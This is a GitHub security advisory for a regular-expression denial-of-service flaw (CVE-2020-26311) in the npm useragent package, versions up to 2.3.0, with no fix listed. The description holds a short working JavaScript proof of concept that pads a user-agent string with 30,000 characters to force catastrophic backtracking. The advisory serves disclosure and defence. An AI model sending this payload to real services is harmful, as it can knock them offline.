GitHub Advisoryadvisory · npm

GHSA-mgfv-m47x-4wqp useragent Regular Expression Denial of Service vulnerability

MEDIUM Published 2024-10-26 Modified 2025-09-03 Official page ↗
Aliases
CVE-2020-26311
Ecosystem
npm
Packages
useragent
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333
Reviewed
2024-10-28

Affected packages

• npm useragent: <= 2.3.0 (no fix yet)

Description

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). PoC ```js async function exploit() { const useragent = require(\"useragent\"); // Create a malicious user-agent that leads to excessive backtracking const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0'; // Parse the malicious user-agent const agent = useragent.parse(maliciousUserAgent); // Call the toString method to trigger the vulnerability const result = await agent.device.toString(); console.log(result); } await exploit(); ```

Related

Alias · CVE (1)

  • CVE-2020-26311 Useragent is a user agent parser for Node.js. vulnerability

Weakness · CWE (1)

  • CWE-1333 Inefficient Regular Expression Complexity weakness

References